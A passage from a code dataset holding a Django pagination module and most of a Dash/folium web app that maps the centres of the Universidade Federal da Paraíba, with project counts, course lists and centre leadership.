"line_number": 18, "usage_type": "call"}, {"api_name": "gtts.gTTS", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 22, "usage_type": "name"}, {"api_name": "pygame.mixer.music.load", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 25, "usage_type": "name"}, {"api_name": "pygame.mixer.music.play", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 26, "usage_type": "name"}, {"api_name": "pygame.mixer.music.get_busy", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 28, "usage_type": "name"}, {"api_name": "pygame.mixer.music.get_busy", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 30, "usage_type": "name"}, {"api_name": "pygame.mixer.music.stop", "line_number": 33, "usage_type": "call"}, {"api_name": "pygame.mixer.music", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 33, "usage_type": "name"}]} {"seq_id": "209125645", "text": "from django.http.request import HttpRequest\nfrom django.utils import six\nfrom django.core.paginator import Page, Paginator, EmptyPage, PageNotAnInteger\n\nfrom ginger import utils\nfrom ginger import ui\n\n\n__all__ = [\"GingerPaginator\", \"GingerPage\", \"paginate\"]\n\n\nclass GingerPage(Page):\n\n def create_link(self, request, number):\n param = self.paginator.parameter_name\n url = utils.get_url_with_modified_params(request, {param: number})\n return ui.Link(url=url, content=six.text_type(number), is_active=number==self.number)\n\n def build_links(self, request):\n for i in utils.generate_pages(self.number,\n self.paginator.page_limit,\n self.paginator.num_pages):\n yield self.create_link(request, i)\n\n def previous_link(self, request):\n number = self.previous_page_number()\n return self.create_link(request, number)\n\n def next_link(self, request):\n number = self.next_page_number()\n return self.create_link(request, number)\n\n\nclass GingerPaginator(Paginator):\n\n parameter_name = \"page\"\n page_limit = 10\n allow_empty = False\n\n def __init__(self, object_list, per_page, **kwargs):\n self.parameter_name = kwargs.pop(\"parameter_name\", self.parameter_name)\n self.allow_empty = kwargs.pop(\"allow_empty\", self.allow_empty)\n self.page_limit = kwargs.pop(\"page_limit\", self.page_limit)\n super(GingerPaginator, self).__init__(object_list, per_page, **kwargs)\n\n def validate_number(self, number):\n \"\"\"\n Validates the given 1-based page number.\n \"\"\"\n try:\n number = int(number)\n except (TypeError, ValueError):\n raise PageNotAnInteger('That page number is not an integer')\n if number < 1:\n raise EmptyPage('That page number is less than 1')\n if number > self.num_pages:\n if self.allow_empty or (number == 1 and self.allow_empty_first_page):\n pass\n else:\n raise EmptyPage('That page contains no results')\n return number\n\n def page(self, value):\n \"\"\"\n Returns a Page object for the given 1-based page number.\n \"\"\"\n if isinstance(value, HttpRequest):\n value = value.GET.get(self.parameter_name, 1)\n elif isinstance(value, dict):\n value = value.get(self.parameter_name, 1)\n number = self.validate_number(value)\n if number > self.num_pages:\n result = self.object_list.none() if hasattr(self.object_list, \"none\") else []\n else:\n bottom = (number - 1) * self.per_page\n top = bottom + self.per_page\n if top + self.orphans >= self.count:\n top = self.count\n result = self.object_list[bottom:top]\n return self._get_page(result, number, self)\n\n def _get_page(self, *args, **kwargs):\n return GingerPage(*args, **kwargs)\n\n\ndef paginate(object_list, page, **kwargs):\n return GingerPaginator(object_list, **kwargs).page(page)", "sub_path": "ginger/paginator.py", "file_name": "paginator.py", "file_ext": "py", "file_size_in_byte": 3095, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.core.paginator.Page", "line_number": 12, "usage_type": "name"}, {"api_name": "ginger.utils.get_url_with_modified_params", "line_number": 16, "usage_type": "call"}, {"api_name": "ginger.utils", "line_number": 16, "usage_type": "name"}, {"api_name": "ginger.ui.Link", "line_number": 17, "usage_type": "call"}, {"api_name": "ginger.ui", "line_number": 17, "usage_type": "name"}, {"api_name": "django.utils.six.text_type", "line_number": 17, "usage_type": "call"}, {"api_name": "django.utils.six", "line_number": 17, "usage_type": "name"}, {"api_name": "ginger.utils.generate_pages", "line_number": 20, "usage_type": "call"}, {"api_name": "ginger.utils", "line_number": 20, "usage_type": "name"}, {"api_name": "django.core.paginator.Paginator", "line_number": 34, "usage_type": "name"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 53, "usage_type": "call"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 55, "usage_type": "call"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 60, "usage_type": "call"}, {"api_name": "django.http.request.HttpRequest", "line_number": 67, "usage_type": "argument"}]} {"seq_id": "638900858", "text": "import dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nimport matplotlib.pyplot as plt\r\nfrom dash.dependencies import Input, Output\r\nimport plotly.offline as py\r\nfrom plotly.graph_objs import * \r\nimport plotly.graph_objs as go \r\nimport dash_bootstrap_components as dbc\r\nimport folium \r\nfrom folium import IFrame, FeatureGroup \r\nimport numpy as np\r\nfrom PIL import Image\r\nimport json\r\nimport os \r\nimport base64 \r\nimport glob \r\nimport pandas as pd \r\nfrom folium.plugins import MarkerCluster \r\n\r\n\r\n\r\n### Data\r\nimport pandas as pd\r\nimport pickle\r\n### Graphing\r\nimport plotly.graph_objects as go\r\n### Dash\r\nimport dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nimport dash_bootstrap_components as dbc\r\nfrom dash.dependencies import Output, Input\r\n## Navbar\r\nfrom navbar import Navbar\r\n\r\nstyle1 = {'fillColor': '#00FFFFFF', 'lineColor': '#00FFFFFF','zoom_on_click':'False'}\r\n\r\nnav = Navbar() \r\n\r\nretval = os.getcwd()\r\n\r\ngrupos = ['CCHLA','CEAR','CCSA','CE','CCJ','CT','CBIOTEC','CCTA','CCEN','CCS','CCM'] \r\ndados = ['Quantidade de projetos em 2017','Quantidade de projetos em 2018','Quantidade de projetos em 2019','Quantidade de projetos em 2020'] \r\n\r\ndict_csv = { 'Quantidade de projetos em 2017' : 'Apoio/dados/dataset_2017.csv',\r\n 'Quantidade de projetos em 2018' : 'Apoio/dados/dataset_2018.csv',\r\n \t\t'Quantidade de projetos em 2019' : 'Apoio/dados/dataset_2019.csv',\r\n 'Quantidade de projetos em 2020' : 'Apoio/dados/dataset_2020.csv'\r\n}\r\n\r\ndef escala_mapa(max):\r\n step = (max/9)\r\n myscale=np.arange(1, max, step).tolist()\r\n myscale.extend([max])\r\n return myscale\r\n\r\ndict_ajeita_ano = {'Quantidade de projetos em 2017': '2017', 'Quantidade de projetos em 2018': '2018', 'Quantidade de projetos em 2019': '2019','Quantidade de projetos em 2020':'2020'}\r\n\r\n#state_data=pd.read_csv('C:\\\\Users\\\\gabri\\\\OneDrive\\\\Área de Trabalho\\\\Pasta de backup\\\\ODE\\\\dados\\\\projetos_2017.csv', engine='python')\r\n#geo_data = 'C:\\\\Users\\\\gabri\\\\OneDrive\\\\Área de Trabalho\\\\Pasta de backup\\\\ODE\\\\ufpb_centros.json' \r\n\r\nstate_data=pd.read_csv('Apoio/Projetos_2017.csv', engine='python')\r\ngeo_data = 'Apoio/ufpb_centros.json' \r\n\r\n\r\nprofessores_envolvidos ={'CBIOTEC2017': 6,\r\n 'CBIOTEC2018': 9,\r\n 'CBIOTEC2019': 10,\r\n 'CBIOTEC2020': 8,\r\n 'CCA2017': 81,\r\n 'CCA2018': 84,\r\n 'CCA2019': 90,\r\n 'CCA2020': 90,\r\n 'CCAE2017': 76,\r\n 'CCAE2018': 90,\r\n 'CCAE2019': 86,\r\n 'CCAE2020': 85,\r\n 'CCEN2017': 45,\r\n 'CCEN2018': 46,\r\n 'CCEN2019': 45,\r\n 'CCEN2020': 77,\r\n 'CCHLA2017': 78,\r\n 'CCHLA2018': 102,\r\n 'CCHLA2019': 94,\r\n 'CCHLA2020': 160,\r\n 'CCHSA2017': 65,\r\n 'CCHSA2018': 81,\r\n 'CCHSA2019': 74,\r\n 'CCHSA2020': 96,\r\n 'CCJ2017': 40,\r\n 'CCJ2018': 45,\r\n 'CCJ2019': 49,\r\n 'CCJ2020': 46,\r\n 'CCM2017': 56,\r\n 'CCM2018': 83,\r\n 'CCM2019': 85,\r\n 'CCM2020': 93,\r\n 'CCS2017': 246,\r\n 'CCS2018': 281,\r\n 'CCS2019': 266,\r\n 'CCS2020': 332,\r\n 'CCSA2017': 79,\r\n 'CCSA2018': 80,\r\n 'CCSA2019': 43,\r\n 'CCSA2020': 84,\r\n 'CCTA2017': 69,\r\n 'CCTA2018': 69,\r\n 'CCTA2019': 76,\r\n 'CCTA2020': 95,\r\n 'CE2017': 60,\r\n 'CE2018': 53,\r\n 'CE2019': 95,\r\n 'CE2020': 97,\r\n 'CEAR2017': 19,\r\n 'CEAR2018': 21,\r\n 'CEAR2019': 19,\r\n 'CEAR2020': 21,\r\n 'CI2017': 14,\r\n 'CI2018': 25,\r\n 'CI2019': 20,\r\n 'CI2020': 18,\r\n 'CT2017': 86,\r\n 'CT2018': 69,\r\n 'CT2019': 63,\r\n 'CT2020': 91,\r\n 'CTDR2017': 39,\r\n 'CTDR2018': 22,\r\n 'CTDR2019': 26,\r\n 'CTDR2020': 45}\r\n\r\nchama_ano_criacao = { \r\n 'CCHLA': 1949\r\n ,'CEAR': 2011\r\n ,'CCSA': 1934\r\n ,'CE': 1978 \r\n ,'CCJ':1949\r\n ,'CT': 1974 \r\n ,'CBIOTEC':2011\r\n ,'CCTA':2012\r\n ,'CCEN': 1974\r\n ,'CCS': 1974\r\n ,'CCM': 2007\r\n ,'CCA': 1936\r\n ,'CCHSA': 2008\r\n ,'CCAE': 2006\r\n ,'CI':2012\r\n ,'CTDR': 2009\r\n} \r\n\r\nchama_departamentos = { \r\n 'CCHLA': 11\r\n ,'CEAR': 2\r\n ,'CCSA': 6\r\n ,'CE': 7 \r\n ,'CCJ':5\r\n ,'CT': 7 \r\n ,'CBIOTEC':2\r\n ,'CCTA': 7\r\n ,'CCEN':9\r\n ,'CCS':13\r\n ,'CCM': 5\r\n ,'CCA': 7\r\n ,'CCHSA': 6\r\n ,'CCAE': 8\r\n ,'CTDR': 3\r\n ,'CI': 3\r\n} \r\n \r\nchama_cursos = { \r\n 'CCHLA': ['Ciências Sociais','Comunicação em Mídias Digitais', 'Filosofia', 'História', 'Letras', 'Letras / Ead', 'Letras - Libras', 'Letras(Língua Espanhola)','Letras(Língua Francesa)','Letras(Línguas Clássicas)','Letras(Língua Inglesa)','Línguas Estrangeiras Aplicadas às Negociações Internacionais', 'Psicologia','Serviço Social','Tradução']\r\n ,'CEAR': ['Engenharia Elétrica', 'Engenharia de Energias Renovaveis']\r\n ,'CCSA': ['Admnistração', 'Admnistração Pública','Arquivologia','Biblioteconomia', 'Ciências Atuariais','Ciências Contábeis','Ciências Econômicas','Gestão Pública','Relações Internacionais','Tecnologia em Gestão Pública']\r\n ,'CE': ['Ciências das Religiões','Ciências Naturais','Pedagogia','Pedagogia - EAD', 'Pedagogia(Educação Do Campo)','Pedagogia(MSC)','Psicopedagogia(BACH)'] \r\n ,'CCJ':['Direito']\r\n ,'CT': ['Arquitetura e Urbanismo','Engenharia Ambiental','Engenharia Civil','Engenharia De Alimentos','Engenharia De Materiais','Engenharia de Produção','Engenharia de Produção Mecânica','Engenharia Mecânica','Engenharia Química','Química Industrial']\r\n ,'CBIOTEC':['Biotecnologia']\r\n ,'CCTA': ['Artes Visuais','Cinema e Audiovisual','Comunicação Social','Dança','Educação Artística','Hotelaria', 'Jornalismo','Música','Música - Bacharelado', 'Música Popular', 'Radialismo','Regência De bandas E Fanfarras','Relações Públicas', 'Teatro(Bacharelado)','Teatro(Licenciatura)','Turismo']\r\n ,'CCEN':['Ciencias','Ciências Biológicas','Ciências Biológicas - EAD', 'Computação', 'Estatística','Física','Geografia','Matemática','Matemática - EAD', 'Química' ]\r\n ,'CCS':['Biomedicina','Educação Física','Educação Física - Licenciatura','Enfermagem','Farmácia','Fisioterapia','Fonoaudiologia','Nutrição','Odontologia','Terapia Ocupacional']\r\n ,'CCM': ['Medicina']\r\n ,'CCA': ['Agronomia','Ciências biológicas', 'Medicina Veterinaria','Química','Zootecnia']\r\n ,'CCHSA': ['Admnistração','Agroecologia','Agroindustria','Ciências Agrárias','Curso Superior de Tecnologia em Cooperativismo','Pedagogia']\r\n ,'CCAE': ['Admnistração','Antropologia','Ciência da Computação','Ciências Contábeis','Design','Ecologia','Hotelaria','Letras','Letras(Espanhol)','Letras(Inglês)','Matemática','Pedagogia','Secretariado Executivo Bilíngue','Sistemas de Informação']\r\n ,'CTDR': ['Gastronomia','Tecnologia de Alimentos','Tecnologia em Produção Sucroaalcoleira']\r\n ,'CI': ['Ciência da Computação','Ciência de Dados e Inteligência Artificial','Engenharia da Computação','Matemática Computacional']\r\n} \r\n\r\nchama_assessor = { \r\n 'CCHLA': 'Nívia Pereira'\r\n ,'CEAR': 'Jose Mauricio Ramos de Souza Neto'\r\n ,'CCSA': 'Danielle Vieira'\r\n ,'CE': 'Quézia Furtado, Mª da Conceição Miranda'\r\n ,'CCJ':'Ludmila Cerqueira'\r\n ,'CT': 'Aurélia Idrogo, Luzia Camboim'\r\n ,'CBIOTEC':'Elisângela A. de Moura Kretzschmar'\r\n ,'CCTA': 'Luceni Caetano' \r\n ,'CCEN':'Jane Torelli'\r\n ,'CCS': 'Rosenés Lima'\r\n ,'CCM': 'André Bonifácio'\r\n ,'CCA': 'Fábio Mielezrsk' \r\n ,'CCHSA': 'Catarina de Medeiros'\r\n ,'CCAE': 'Jocélio de Oliveira'\r\n ,'CI': 'José Miguel Aroztegui'\r\n ,'CTDR': 'Ana Braga'\r\n} \r\n\r\n\r\n\r\nchama_diretor = { \r\n 'CCHLA': 'Mônica Nóbrega'\r\n ,'CEAR': 'Zaqueu Ernesto da Silva '\r\n ,'CCSA': 'Walmir Rufino Da Silva'\r\n ,'CE': 'Wilson Honorato Aragão'\r\n ,'CCJ':'Fredys Orlando Souto'\r\n ,'CT': 'Antônio de Mello Villar'\r\n ,'CBIOTEC':'Valdir de Andrade Braga'\r\n ,'CCTA': 'José David Campos Fernandes'\r\n ,'CCEN':'José Roberto Soares do Nascimento'\r\n ,'CCS':'João Euclides Fernandes Braga'\r\n ,'CCM': 'Eduardo Sérgio Moura Souza'\r\n ,'CCA': 'Manuel Bandeira de Albuquerque'\r\n ,'CCHSA': 'Terezinha Domiciano Martins'\r\n ,'CCAE': 'Maria Angeluce Soares Perônico Barbotin'\r\n ,'CI': 'Hamilton Soares da Silva'\r\n ,'CTDR': 'José Marcelino Oliveira Cavalheiro'\r\n} \r\n\r\nchama_vice = { \r\n 'CCHLA': 'Rodrigo Freire de Carvalho e Silva'\r\n ,'CEAR': 'Euler Cássio Tavares de Macedo'\r\n ,'CCSA': 'Aldo Leonardo Cunha Callado'\r\n ,'CE': 'Swamy de Paula Lima Soares'\r\n ,'CCJ': 'Valfredo de Andrade Aguiar Filho'\r\n ,'CT': 'Tarciso Cabral da Silva' \r\n ,'CBIOTEC': 'Fabíola da Cruz Nunes'\r\n ,'CCTA': 'Ulisses Carvalho da Silva'\r\n ,'CCEN': 'Severino Francisco de Oliveira'\r\n ,'CCS':'Fabiano Gonzaga Rodrigues'\r\n ,'CCM': 'Eutília Freire'\r\n ,'CCA': 'Ricardo Romão Guerra'\r\n ,'CCHSA': 'Pedro Germano Antonio Nunes'\r\n ,'CCAE': 'Alexandre Scaico'\r\n ,'CI': 'Lucídio dos Anjos Formiga Cabral'\r\n ,'CTDR': 'João Andrade da Silva'\r\n} \r\n\r\ncentro_extenso = { \r\n 'CCHLA': 'Centro de Ciências Humanas, Letras e Artes'\r\n ,'CEAR': 'Centro de Energias Alternativas e Renováveis'\r\n ,'CCSA': 'Centro de Ciências Sociais Aplicadas'\r\n ,'CE': 'Centro de Educação'\r\n ,'CCJ': 'Centro de Ciências Jurídicas'\r\n ,'CT': 'Centro de Tecnologia' \r\n ,'CBIOTEC': 'Centro de Biotecnologia'\r\n ,'CCTA': 'Centro de Comunicação, Turismo e Artes'\r\n ,'CCEN': 'Centro de Ciências Exatas e da Natureza'\r\n ,'CCS':'Centro de Ciências da Saúde'\r\n ,'CCM': 'Centro de Ciências Médicas'\r\n ,'CCA': 'Centro de Ciencias Agrárias'\r\n ,'CCHSA': 'Centro de Ciências Humanas, Sociais e Agrárias'\r\n ,'CCAE': 'Centro de Ciências Aplicadas e Educação'\r\n ,'CI': 'Centro de Informática'\r\n ,'CTDR': 'Centro de Tecnologia e Desenvolvimento Regional'\r\n} \r\n\r\n\r\n\r\n\r\ndef chama_projetos(file,dado):\r\n state_data_1=pd.read_csv(dict_csv[dado], engine='python')\r\n filtered = [file] \r\n print(state_data_1)\r\n state_data_1 = state_data_1[state_data_1['centros'].isin(filtered)]\r\n lista= list(state_data_1['qtd_projeto'])\r\n return lista[0]\r\n\r\ndict_coordenadas = {\r\n 'cbiotec' : [-7.140993, -34.846455],\r\n 'ccen' : [-7.139640, -34.845020], \r\n 'cchla' : [-7.139370, -34.850374], \r\n 'ccj' : [-7.141978, -34.848935], \r\n 'ccm' : [-7.136423, -34.840567 ], \r\n 'ccs' : [-7.135673, -34.841516], \r\n 'ccsa' : [-7.141069, -34.849936], \r\n 'ccta' : [-7.137422, -34.849572], \r\n 'ce' : [-7.139994, -34.850124], \r\n 'cear' : [-7.141625, -34.850556], \r\n 'ct' : [-7.142505, -34.850309],\r\n 'cca' : [-6.973692, -35.716273], \r\n 'ccae' : [-6.829091, -35.118770],\r\n 'cchsa' : [-6.752077, -35.647532],\r\n 'ci':[-7.162211,-34.817228],\r\n 'ctdr':[-7.163018,-34.817989]\r\n} \r\n\r\n#folder ='C:\\\\Users\\\\gabri\\\\OneDrive\\\\Área de Trabalho\\\\Pasta de backup\\\\ODE\\\\logos' \r\nfolder ='Apoio/logos' \r\n\r\nextension = '*' \r\nseparator = ',' \r\nextension = '*.' + extension \r\nos.chdir(folder) \r\nfiles_logos= glob.glob(extension) \r\n\r\nos.chdir(retval) \r\n\r\n#folder_1 ='C:\\\\Users\\\\gabri\\\\OneDrive\\\\Área de Trabalho\\\\Pasta de backup\\\\ODE\\\\arquivos_json' \r\n#folder_1 ='C:Apoio\\\\arquivos_json' \r\nfolder_1='Apoio/arquivos_json'\r\nos.chdir(folder_1) \r\nfiles_json= glob.glob(extension) \r\nos.chdir(retval) \r\n\r\n#folder_2 ='C:\\\\Users\\\\gabri\\\\OneDrive\\\\Área de Trabalho\\\\Pasta de backup\\\\ODE\\\\dados' \r\nfolder_2 ='Apoio/dados' \r\nos.chdir(folder_2) \r\nfiles_dados= glob.glob(extension) \r\nos.chdir(retval) \r\n\r\ntooltip = \"Clique para abrir a imagem\" \r\nhtml1 = '<img src=\"data:image/png;base64,{}\">'.format \r\n\r\ndef limpa_nome_arquivo_json(logo): \r\n files=logo.replace('json','') \r\n files=files.replace('.','') \r\n return files \r\n\r\ndef limpa_nome_arquivo(logo): \r\n files=logo.replace('jpeg','') \r\n files=files.replace('jpg','') \r\n files=files.replace('png','') \r\n files=files.replace('.','') \r\n return files \r\n\r\ndef gera_cloropleth(geo_data,state_data,files_dados,mapa_,dado,grupos):\r\n\r\n state_data_1=[] \r\n state_data_1=pd.read_csv(dict_csv[dado], engine='python')\r\n #geo_data = 'C:\\\\Users\\\\Pessoal\\\\Desktop\\\\ODE\\\\choropleth\\\\gp_1.json' \r\n #geo_data = 'Apoio/choropleth/json_divisao_centros.json' \r\n with open('Apoio/choropleth/json_divisao_centros.json') as jsonfile:\r\n input_dict = json.load(jsonfile)\r\n\r\n lista_features = [x for x in input_dict['features'] if x['id'] in grupos]\r\n\r\n #geo_data = json.dumps(lista_features)\r\n geo_data ={'type': 'FeatureCollection','features': lista_features}\r\n\r\n filtered = grupos\r\n state_data_1 = state_data_1[state_data_1['centros'].isin(filtered)] \r\n\r\n #myscale = (state_data_1['qtd_projeto'].quantile((0,0.12,0.22,0.32,0.42,0.52,0.72,0.82,0.92,1))).tolist()\r\n maxi=max(list(state_data_1['qtd_projeto']))\r\n myscale=escala_mapa(maxi)\r\n myscale=[float(i) for i in myscale]\r\n try:\r\n folium.Choropleth( \r\n geo_data = geo_data, \r\n name='Choropleth',\r\n data=state_data_1, \r\n columns=['centros', 'qtd_projeto'], \r\n key_on='feature.id', \r\n fill_color='YlGn', \r\n fill_opacity=0.7, \r\n line_opacity=0.2,\r\n legend_name='Quantidade de projetos', \r\n threshold_scale=myscale,\r\n #show=False,\r\n #overlay=False \r\n ).add_to(mapa_) \r\n except KeyError:\r\n pass\r\n\r\n \r\n\r\n \r\n #folium.LayerControl().add_to(map)\r\n \r\n \r\n\r\ndef gera_camadas_ufpb(arquivo_json,mapa_,logo): \r\n #AQUIII\r\n picture1 = base64.b64encode(open('Apoio/logos/' + logo ,'rb').read()).decode()\r\n #img = Image.open('Apoio/logos/' + logo)\r\n\r\n iframe1 = IFrame(html1(picture1), width=200+20, height=200+20) \r\n #icon1 = folium.features.CustomIcon('C:\\\\Users\\\\gabri\\\\OneDrive\\\\Área de Trabalho\\\\Pasta de backup\\\\ODE\\\\logos\\\\' + logo, icon_size=(20,20))\r\n #camadas_ufpb = os.path.join('C:\\\\Users\\\\gabri\\\\OneDrive\\\\Área de Trabalho\\\\Pasta de backup\\\\ODE\\\\arquivos_json\\\\' + arquivo_json)\r\n camadas_ufpb = os.path.join('Apoio/arquivos_json/' + arquivo_json)\r\n\r\n arquivo_json=limpa_nome_arquivo_json(arquivo_json)\r\n\r\n camada=folium.GeoJson(camadas_ufpb,name=arquivo_json, tooltip='Clique para abrir a imagem',style_function=lambda x:style1).add_to(mapa_) \r\n\r\n #camada.add_child(folium.Popup(dict_centros[arquivo_json]))\r\n camada.add_child(folium.Popup(iframe1,width=200+20,height=200+20))\r\n \r\n camada.add_to(mapa_) \r\n\r\n\r\n\r\n\r\ndef gera_icones_da_ufpb(logo,dict_logo,dict_coordenadas,html1,tooltip,mapa_,arquivo_json,dado): \r\n #AQUIII\r\n #picture1 = base64.b64encode(open('C:\\\\Users\\\\gabri\\\\OneDrive\\\\Área de Trabalho\\\\Pasta de backup\\\\ODE\\\\logos\\\\' + logo ,'rb').read()).decode()\r\n files=limpa_nome_arquivo(logo) \r\n file = files.upper()\r\n cur=chama_cursos[file]\r\n\r\n if dado == 0:\r\n html1=f\"\"\"\r\n <h1> Informações sobre o {file}</h1>\r\n Nome do Centro: {centro_extenso[file]}<br><br> \r\n Ano de criação: {chama_ano_criacao[file]}<br><br> \r\n Número de departamentos: {chama_departamentos[file]}<br><br> \r\n Cursos: {', '.join(str(x) for x in cur)}<br><br>\r\n Diretor: {chama_diretor[file]}<br><br>\r\n Vice-Diretor: {chama_vice[file]}<br><br>\r\n Assessor(es): {chama_assessor[file]}<br><br>\r\n \"\"\" \r\n else:\r\n html1=f\"\"\"\r\n <h1> Informações sobre o {file}</h1>\r\n Nome do Centro: {centro_extenso[file]}<br><br> \r\n Ano de criação: {chama_ano_criacao[file]}<br><br>\r\n Número de departamentos: {chama_departamentos[file]}<br><br>\r\n Cursos: {', '.join(str(x) for x in cur)}<br><br>\r\n Diretor: {chama_diretor[file]}<br><br>\r\n Vice-Diretor: {chama_vice[file]}<br><br>\r\n Assessor(es): {chama_assessor[file]}<br><br>\r\n {dado}: {chama_projetos(file,dado)}<br><br>\r\n Quantidade de professores Envolvidos: {professores_envolvidos[file + dict_ajeita_ano[dado]]}<br><br>\r\n \"\"\"\r\n #picture1 = base64.b64encode(open('Apoio/logos/' + logo ,'rb').read()).decode()\r\n arquivo_json=limpa_nome_arquivo_json(arquivo_json)\r\n #iframe1 = IFrame(html1(picture1), width=200+20, height=200+20) \r\n icon1 = folium.features.CustomIcon('Apoio/logos/' + logo, icon_size=(20,20))\r\n \r\n\r\n ifr = IFrame(html=html1, width=500, height=300)\r\n popup1 = folium.Popup(ifr, max_width=2650)\r\n #popup1 = folium.Popup(dict_centros[arquivo_json],max_width=600) \r\n folium.Marker(location=dict_coordenadas[files],popup= popup1,tooltip='Clique para um maior conhecimento sobre centro',icon=icon1).add_to(mapa_)\r\n \r\ndef mapa_da_ufpb(tooltip, files_logos,dict_coordenadas,files_json,geo_data,state_data, files_dados,mapa_,flag,grupos,dado):\r\n files_json = [] \r\n files_logos = [] \r\n if 'CTDR' in grupos:\r\n files_json.extend(['CTDR.json'])\r\n files_logos.extend([ 'ctdr.png'])\r\n if 'CI' in grupos:\r\n files_json.extend(['CI.json'])\r\n files_logos.extend([ 'ci.png'])\r\n if 'CCA' in grupos:\r\n files_json.extend(['CCA.json'])\r\n files_logos.extend([ 'cca.png'])\r\n if 'CCAE' in grupos:\r\n files_json.extend(['CCAE.json'])\r\n files_logos.extend([ 'ccae.png'])\r\n if 'CCHSA' in grupos:\r\n files_json.extend(['CCHSA.json'])\r\n files_logos.extend([ 'cchsa.png'])\r\n if 'CCJ' in grupos:\r\n files_json.extend(['CCJ.json'])\r\n files_logos.extend([ 'ccj.png'])\r\n if 'CT' in grupos:\r\n files_json.extend(['CT.json'])\r\n files_logos.extend([ 'ct.png'])\r\n if 'CBIOTEC' in grupos:\r\n files_json.extend(['CBIOTEC.json'])\r\n files_logos.extend(['cbiotec.png'])\r\n if 'CCHLA' in grupos:\r\n files_json.extend(['CCHLA.json'])\r\n files_logos.extend([ 'cchla.png'])\r\n if 'CEAR' in grupos:\r\n files_json.extend(['CEAR.json'])\r\n files_logos.extend([ 'cear.png'])\r\n if 'CCSA' in grupos:\r\n files_json.extend(['CCSA.json'])\r\n files_logos.extend([ 'ccsa.png'])\r\n if 'CE' in grupos:\r\n files_json.extend(['CE.json'])\r\n files_logos.extend(['ce.png'])\r\n if 'CCTA' in grupos:\r\n files_json.extend(['CCTA.json'])\r\n files_logos.extend(['ccta.png'])\r\n if 'CCEN' in grupos:\r\n files_json.extend(['CCEN.json'])\r\n files_logos.extend(['ccen.png'])\r\n if 'CCHLA' in grupos:\r\n files_json.extend(['CCHLA.json'])\r\n files_logos.extend([ 'cchla.png'])\r\n if 'CCS' in grupos:\r\n files_json.extend(['CCS.json'])\r\n files_logos.extend([ 'ccs.png'])\r\n if 'CCM' in grupos:\r\n files_json.extend(['CCM.json'])\r\n files_logos.extend(['ccm.png'])\r\n \r\n if flag == 'nao' or dado == 0: \r\n for arquivo_json,logo in zip(files_json,files_logos):\r\n gera_camadas_ufpb(arquivo_json,mapa_,logo) \r\n for arquivo_json,logo in zip(files_json,files_logos): \r\n gera_icones_da_ufpb(logo,logo,dict_coordenadas,html1,tooltip,mapa_,arquivo_json,dado)\r\n if flag == 'sim' and grupos != [] and dado != 0:\r\n print('cheguei',flush=True) \r\n gera_cloropleth(geo_data,state_data,files_dados,mapa_,dado,grupos) \r\n #mapa_.save(\"C:\\\\Users\\\\gabri\\\\OneDrive\\\\Área de Trabalho\\\\Pasta de backup\\\\ODE\\\\mapa_ufpb_centros.html\") \r\n mapa_.save(\"Apoio/mapa_ufpb_centros.html\") \r\ntab_selected_style = {\r\n 'font-size': '70%',\r\n 'padding': '6px'\r\n}\r\n\r\ntab_style = { #Estilos das Tabs\r\n 'borderBottom': '1px solid #d6d6d6',\r\n 'padding': '6px',\r\n 'font-size': '75%',\r\n 'fontSize' : '12'\r\n }\r\n#####\r\ntabs = html.Div([\r\n dcc.Tabs(id='tabs', value='tab-3', children=[\r\n dcc.Tab(label='Areia', value='tab-1', style=tab_style, selected_style=tab_selected_style),\r\n dcc.Tab(label='Bananeiras', value='tab-2', style=tab_style, selected_style=tab_selected_style),\r\n dcc.Tab(label='João Pessoa', value='tab-3', style=tab_style, selected_style=tab_selected_style),\r\n dcc.Tab(label='Mangabeira', value='tab-5', style=tab_style, selected_style=tab_selected_style),\r\n dcc.Tab(label='Mamanguape', value='tab-4', style=tab_style, selected_style=tab_selected_style),\r\n])\r\n ,html.Br()])\r\n\r\n\r\ncard_content = [\r\n dbc.CardHeader(\"Filtros do Mapa\",style={'font-size':24, 'textAlign':'center'}),\r\n dbc.CardBody(\r\n [\r\n tabs,\r\n html.H4(\"Escolha o grupo desejado:\", style={'font-size':19,'margin-top':'14px'}),\r\n dcc.Dropdown(\r\n id = 'grupos', \r\n options=[\r\n {'label': j, 'value': j} for j in grupos \r\n ],\r\n value=['Todos os centros'], \r\n multi=True,\r\n searchable=False\r\n ),\r\n \r\n\r\n html.Div(html.Br()),\r\n html.H4(\"Deseja analisar o mapa pelo quantitativo de projetos por ano?\", style={'font-size':19}),\r\n\r\n dbc.RadioItems(\r\n options=[ \r\n {'label': 'Sim', 'value': 'sim'},\r\n {'label': 'Não', 'value': 'nao'}, \r\n\r\n ],\r\n id='flag',\r\n value='1',\r\n inline = True,\r\n labelStyle={'display': 'inline-block','margin-bottom':'10px'} \r\n ),\r\n html.Div([\r\n html.H4(\"Escolha o ano para visualizar o mapa:\", style={'font-size':19}),\r\n\r\n dcc.Dropdown(\r\n id = 'dados', \r\n options=[\r\n {'label': j, 'value': j} for j in dados \r\n ],\r\n value=0, \r\n multi=False,\r\n searchable=False,\r\n style={'margin-bottom':'10px'}\r\n\r\n ),],\r\n id='choropleth',\r\n style = {'display': 'none'}),\r\n ]\r\n ),\r\n]\r\n\r\njumbotron = dbc.Card(card_content, outline=True)\r\n\r\ncard_content_3 = [\r\n dbc.CardHeader(\"Mapa da UFPB\",style={'font-size':24, 'textAlign':'center'}),\r\n dbc.CardBody(\r\n [\r\n html.Iframe(id='mapa', 